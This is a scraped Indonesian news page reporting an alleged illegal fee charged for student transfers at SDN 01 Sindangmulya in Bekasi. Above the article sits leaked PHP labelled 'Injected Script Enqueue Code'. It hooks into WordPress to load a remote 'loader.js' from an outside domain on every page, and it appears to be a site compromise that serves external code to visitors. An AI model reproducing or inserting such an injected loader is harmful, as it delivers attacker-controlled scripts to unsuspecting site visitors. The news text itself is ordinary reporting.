// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Pindah Sekolah Dipungut Biaya, SDN 01 Sindangmulya Terindikasi Lakukan Pungli – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Beranda

Pindah Sekolah Dipungut Biaya, SDN 01 Sindangmulya Terindikasi Lakukan Pungli

28
×

Pindah Sekolah Dipungut Biaya, SDN 01 Sindangmulya Terindikasi Lakukan Pungli

Sebarkan artikel ini
Pindah Sekolah Dipungut Biaya, SDN 01 Sindangmulya Terindikasi Lakukan Pungli

Fakta Terkini
Kabupaten Bekasi- Kamis 03/07/2025
Informasi beredar terkait adanya dugaan Pungutan Liar (PUNGLI) terkait pembayaran Dapodik untuk murid pindah dengan nilai Rp150 ribu, kebijakan ini diterapkan oknum Guru TU di Sekolah Dasar Negeri (SDN) 01 Sindang Mulya

Jadi, ketika ada murid pindah maka orang tua dari murid pindah Sekolah tersebut harus membayar Biaya Dapodik, dan hal itu tidak disertai dengan kwitansi pembayaran.

Example 300x600

Saat dikonfirmasi kepada orang tua murid Yang Tidak mau menyebut kan namanya dan nama anak nya, bahwa dirinya kebingungan dengan adanya, pembayaran uang Dapodik untuk murid pindah tersebut sehingga kebingungan mecari uang untuk pembayarannya,

Padahal pada saat itu dirinya belum memiliki uang, namun karena tidak ada pilihan sehingga dirinya berusaha untuk mencarikan uang tersebut.

“Saya semalaman mencari uang untuk Dapodik yang diminta oleh oknum guru tersebut di TU. Karena saya benar-benar saat itu keterbatasan dana. Alhamdulillah saya tidak jadi memberikan uang tersebut Karna ada yang membantu saya tanpa biaya pindah sekolah anak saya,” jelasnya.
“ Saya kecewa dengan dengan Guru SDN 01Sindang Mulya ,” sambungnya.

Secara umum, pindah sekolah dari satu sekolah ke sekolah lain, baik negeri maupun swasta, tidak seharusnya dipungut biaya. Proses mutasi atau perpindahan siswa tidak dikenakan biaya administrasi, uang pendaftaran, atau biaya lain yang biasanya terkait dengan pendaftaran sekolah baru. Dinas Pendidikan, Kabupaten Bekasi menegaskan bahwa perpindahan siswa ke sekolah negeri tidak dipungut biaya apapun.

Jika ada oknum Guru yang meminta biaya terkait perpindahan, hal tersebut dapat dikategorikan sebagai pungutan liar dan sebaiknya dilaporkan.

Dengan ada nya informasi Dugaan Pungli di SDN 01 Sindang Mulya Tim investigasi Awak Media Akan Mengkonfirmasi kepada pihak Sekolah SDN 01 Sindang Mulya atas adanya Temuan Dugaan Pungli Tersebut terhadap Perpindahan Murid ke sekolah lain.

[red]

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *